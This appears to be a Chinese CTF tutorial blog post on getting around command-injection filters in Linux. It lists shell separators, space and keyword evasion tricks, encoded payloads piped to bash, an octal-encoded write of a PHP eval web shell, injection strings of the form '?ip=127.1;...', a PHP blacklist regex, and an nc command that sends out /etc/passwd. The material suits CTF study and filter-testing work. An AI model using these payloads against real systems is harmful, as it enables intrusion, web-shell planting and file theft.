文章目录

  • 一、一些基础知识:
    • `;`
    • `|`
    • `||`
    • `&`
    • `&&`
    • `{}与()`
    • 输入/输出的重定向
    • 正则表达式中的字符簇含义
  • 二、一些小`trick`
    • 通配符`*`与`?`的绕过
    • `[]`与`{}`的绕过
    • 绕过空格
  • 三、 Linux关键字绕过
  • 四、
  • 五、命令执行:
    • Linux 搜索flag
  • 六、长度限制:
    • `ls -t`,利用**文件名**达到命令执行:

一、一些基础知识:

;

用;号隔开每个命令, 每个命令按照从左到右的顺序,顺序执行, 彼此之间不关心是否失败, 所有命令都会执行。[root@VM-16-13-centos ~]# echo 1 ; echo 2
1
2

|

这是管道符

| 表示管道,上一条命令的输出,作为下一条命令的参数[root@VM-16-13-centos ~]# echo ni hao | base64
bmkgaGFvCg==

||

即逻辑或(短路或)
||左边为真时,则右边不执行
||左边为假时,才会继续执行右边[root@VM-16-13-centos ~]# echo 1 || echo 2
1

&

& 放在启动参数后面表示设置此进程为后台进程语法:command1 &此外在CTF中,它又表示先执行右边再执行左边
语法:command1 & command2
ping 127.0.0.1 & ls(先执行ls后执行ping)

&&

逻辑与,和||恰恰相反。
先执行左边,只有左边为真,才会执行右边语法:command1 && command2 [&& command3 ...]

{}与()

如果希望把几个命令合在一起执行,shell提供了两种方法。既可以在当前shell也可以在子shell中执行一组命令。
1、(command1;command2;command3....)
2、{ command1;command2;command3…} #第一条命令必须与左边的括号有一个空格,最后一条命令一定要有分号
3、{command,argument}

相同点:
(){}都是把一串的命令放在括号里面,并且命令之间用;号隔开

不同点
()只是对一串命令重新开一个子shell进行执行,{}对一串命令在当前shell执行
()最后一个命令可以不用分号,{}最后一个命令要用分号
()里的第一个命令和左边括号不必有空格,{}的第一个命令和左括号之间必须要有一个空格
(){}中括号里面的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号里的所有命令

[root@VM-16-13-centos html]# (cat /flag;date)
flag{}
Mon Aug  2 17:30:22 CST 2021[root@VM-16-13-centos html]# { cat /flag;date;}
flag{}
Mon Aug  2 17:31:00 CST 2021[root@VM-16-13-centos html]# {cat,/flag}
flag{}

输入/输出的重定向

command > file    将输出重定向到 file。
command < file   将输入重定向到 file。
command >> file   将输出以追加的方式重定向到 file。
n > file 将文件描述符为 n 的文件重定向到 file。
n >> file 将文件描述符为 n 的文件以追加的方式重定向到 file。
n >& m   将输出文件 m 和 n 合并。
n <& m   将输入文件 m 和 n 合并。
<< tag    将开始标记 tag 和结束标记 tag 之间的内容作为输入。

正则表达式中的字符簇含义

[[:alpha:]] 任何字母[[:digit:]] 任何数字[[:alnum:]] 任何字母和数字[[:space:]] 任何白字符[[:upper:]] 任何大写字母[[:lower:]] 任何小写字母[[:punct:]] 任何标点符号[[:xdigit:]] 任何16进制的数字,相当于[0-9a-fA-F]

二、一些小trick

通配符*?的绕过

cat /f*          <=> cat /flag
cat /f???       <=> cat /flag

[]{}的绕过

[root@VM-16-13-centos html]# cat /f[a-z]ag
flag{}[root@VM-16-13-centos html]# cat /f{l,a,b}ag
flag{}
cat: /faag: No such file or directory
cat: /fbag: No such file or directory

绕过空格

1. < 与<> 重定向符                                                       cat</flag    cat<>/flag
2. ${IFS}                                                               cat${IFS}/flag
3. $IFS$9   为什么要加$9?因为单纯一个$IFS可能被认为是变量,$9起到截断作用       cat$IFS$9/flag
4. {cat,flag.php} //用逗号实现了空格功能,需要用 {} 括起来                    {cat,flag.php}

三、 Linux关键字绕过

命令提示符$:使用$*$@$x(x代表1-9,$0表示Shell本身的文件名故不可用)、${x}(x>=10)
在没有传参的情况下,这些值都是空

ca$*t 1.txt      //$* 是传给脚本的所有参数的列表ca$@t 1.txt      //$@ 是传给脚本的所有参数的列表ca$9t 1.txt      //$9 是传递给该shell脚本的第九个参数ca${11}t 1.txt   //${x} 两位数以上用${}括起来

反斜杠:

1. ca\t 1.txt2. ca\t /f\lag

连接符——单引号:

1. ca''t 1.txt2. ca''t /f''lag

特殊变量${9}——表示一个空字符串:

ca${9}t /fla${9}g

使用变量拼接字符:

1. a=ca;b=t;$a$b 1.txt2. a=$'/flag' && cat $a3. a="lxs/";b=${a:0:1}${a:2:1}${IFS}${a:3:1};$b        还可以利用截取凑成: ls /

base64编码绕过:

`echo 'Y2F0Cg==' | base64 -d` 1.txt     //即:cat 1.txt

base64+sh、bash执行:

echo 'Y2F0IDEudHh0' | base64 -d |bash(或者sh)

16进制 + bash执行

echo '636174202f666c6167'|xxd -r -p|bash   其中:xxd -r -p 将某种列格式的纯十六进制转储读入
也可以加上 0x 的前缀

16进制 + $()执行

$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")       即:$(cat /flag)

8进制 + $()执行

(printf "\143\141\164\40\57\146\154\141\147")          即:即:$(cat /flag)

8进制 + ${}写shell

{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
内容为<?php @eval($_POST['c']);?>`在这里插入代码片`

获取8、16进制的py脚本:

#python3
s= 'cat /flag'
f16 =''
f8 = ''
for i in s:f16 += r"\x" + str(hex(ord(i))[2:])f8 += '\\' + str(oct(ord(i))[2:])
print("[*]16进制:"+f16)
print("[*]8进制:"+f8)

利用一些已有资源:

$ echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin$ echo $PATH| cut -c 1
/                   #可以代替斜杠 /$ cat `echo $PATH| cut -c 1`flag     #cat /flag

利用一些已有字符

${PS2} 对应字符 >${PS4} 对应字符 + ${IFS} 对应 内部字段分隔符 ${9} 对应 空字符串

四、

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $a)) {echo("forbid5 ~");echo "<br>";
}

这段正则匹配是不到\\\的。而以下这些可以匹配到:

<?php
$cmd="\\";
echo $cmd;
if (preg_match("/|\\\\|\?/i", $cmd)) {echo("1");
}
if (preg_match("/\\\\/i", $cmd)) {echo("2");
}
if (preg_match("/|\\|/i", $cmd)) {echo("3");
}
if (preg_match("/|\|/i", $cmd)) {echo("4");
}

还有,假设本来就能够回显,只是没有合适的读取函数:

1. php /flag
2. sh /flag                 利用报错出flag
3. paste /flag /etc/passwd  可以两个一起读
4. diff /flag.txt  /etc/passwd
5. od -a /flag
6. bzmore /flag
7. bzless /flag
8. curl file:///flag
9. sed -n "p" /flag10.使用php文件操作函数读取目录与内容
$handler = opendir('/');
while(($name = readdir($handler))!== false){echo $name."<br>";echo file_get_contents('/'.$name);
}11. 使用nc将文件重定向(靶机如果是内网则不成功..)
靶机上:
nc -lvp port < /etc/passwd本机直接nc ip port得到文件内容

五、命令执行:

一:利用sh、bash执行

?ip=127.1;echo 'Y2F0IDEudHh0' | base64 -d |bash(或者sh)

二:变量拼接:

?ip=127.1;a=g;cat /fla$a

三:利用$()``内联执行
(内联,就是将``$()内命令的输出作为输入执行)

在bash中,$( )与` `(反引号)都是用来作命令替换的。
?ip=127.1;cat `ls`   [root@VM-16-13-centos html]# echo `date`
Mon Aug 2 17:14:03 CST 2021[root@VM-16-13-centos html]# echo $(date)
Mon Aug 2 17:16:07 CST 2021

Linux 搜索flag

Linux 搜索flagfind ./*|grep -i 'fla*' *
搜索当前目录下所有文件,不区分大小写地搜索出以字符fla开头的行find /etc -name "*" | xargs grep "BJD{"find . -name '*.php' | xargs grep -n 'eval('grep -r -n "Neepu{" /etcfind ./ -name '*flag*'
搜索当前目录下的 包含flag字符的文件名
find /etc -name "*flag*"cat $(find ./ -name '*flag*')   # $()是变量的值
表示打印出所有符合条件的文件

六、长度限制:

`ls>1`    当前目录写入 1 文件
假设有 nep.php  index.php两个文件

重新更新环境:

`>cat`
`*>1`  可以cat当前目录
或者
`* /*` 可以cat根目录

因为Linux中文件默认排序是数字->小写字母->大写字母
*>1就是cat index.php nep.php>1的意思,cat读取了两个文件

ls -t,利用文件名达到命令执行:

两个\\是因为要转义其中一个\,否则一个\就会被Linux命令行认为是换行续写 。且空格也是需要转义的

假如在命令行这么执行,相当于执行了cat flag我们就是要变相实现这种效果

cat \
fl\
ag

以在命令行的操作为例:

┌──(root												

CTF中的Bypass命令执行相关推荐

  1. 详述Visual Studio 代码远程开发扩展中的远程命令执行漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Visual Studio 代码远程开发扩展(Code Remote Development Extension) 1.50 未能在将其用作 s ...

  2. 脚本中判断Shell命令执行结果

    与C程序中判断同理,只是语法差异,提一点,在这里尤其需要注意 Shell 的语法规则:-D. Code: #!bin/shifconfig if [ $? -eq 0 ]; thenecho &quo ...

  3. 命令执行漏洞-命令执行-漏洞位点- 代码注入-漏洞利用-联合执行-Bypass(空格,关键字过滤,变量绕过)-例题两道-actf2020exec-GXYCTF2019 Ping Ping Ping

    命令执行 命令执行是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令.当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数. 比如PHP中的system,e ...

  4. 关于命令执行Bypass的一些思路

    更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一 作者:掌控安全-xiao_yi 一.常见命令执行的函数 system() system(string $command, int &a ...

  5. 研究人员发现西门子工业控制器中的命令执行漏洞

    近期,有研究人员发现了西门子SIMATIC S7-1200可编程逻辑控制器(PLC)的新漏洞,可让攻击者在存在漏洞的设备上执行任意代码. 该漏洞和西门子SIMATIC S7-1200可编程逻辑控制器( ...

  6. shell脚本中判断上一条python命令执行情况

    shell脚本中判断python命令执行结果 python脚本main.py import sys def main():try:"执行相关操作"sys.exit(0)except ...

  7. 细说——命令执行_代码执行

    目录 原理 命令执行漏洞原理 代码执行漏洞原理 命令执行与代码执行漏洞区别 命令执行&代码执行漏洞危害 命令执行无回显 代码执行函数 1- eval() 2- assert()-最好不要加上分 ...

  8. redis命令_Redis 命令执行过程(下)

    点击上方"程序员历小冰",选择"置顶或者星标" 你的关注意义重大! 在上一篇文章中<Redis 命令执行过程(上)>中,我们首先了解 Redis 命 ...

  9. python如何执行代码漏洞_命令执行与代码执行漏洞原理

    本篇笔记摘自微信"黑白天",如有侵权,联系删除 命令执行定义 当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数.如PHP中的system,exec,sh ...

最新文章

  1. 浅谈微软跨平台与MONO
  2. 数字信号处理中的自相关和互相关计算和物理意义(一)
  3. 史上最详细的客服系统产品落地|后台产品经理的工作实例,有那么苦吗?
  4. FPGA产生频率可控的正弦波
  5. golang 导入自定义包_goLang引入自定义包的方法
  6. 5个数组Array方法: indexOf、filter、forEach、map、reduce使用实例
  7. 猫:君主般的眼神 监视领地。 狗
  8. 有个程序媛女朋友是一种什么样的感觉?
  9. 使用C#创建Windows服务
  10. 继电保护计算机化,浅谈继电保护的未来发展趋势
  11. 爬虫实战:英雄联盟手游能“干掉”王者荣耀?微博4.3亿网友吵翻了……
  12. 动态二维码刷卡触摸按键门禁一体机性能与选型攻略
  13. Java8-排序方法(正序、倒序)
  14. 在天堂与地狱之间——清华浪子梦断中关村 (转)
  15. github 邮件认证---163,126等国内邮箱无法验证,试试qq邮箱和gmail
  16. arcoshx怎么用计算机算,双曲函数
  17. velocity源码分析:初始化之日志系统
  18. iPhone14和14pro的区别
  19. Your account has been blocked问题解决
  20. 华为上半年手机销量_霸气侧漏,如何看待小米和华为的上半年手机销量

热门文章

  1. 如何调整台式计算机的亮度,怎么调整台式电脑屏幕亮度_怎么调整显示器亮度-win7之家...
  2. html 引入在线jquery,HTML怎样引入jQuery?
  3. When Cloud Storage Meets RDMA
  4. 【职场必备知识】关于税收、纳税的若干问题记录
  5. 用HTML5献上爱的3D玫瑰
  6. 一行Python代码能做出哪些神器的事情
  7. C++之文字列输入输出
  8. Unity中的Character Controller组件的基本使用
  9. MySQL查询数据库进程
  10. vue表单验证rules以及validator验证器的使用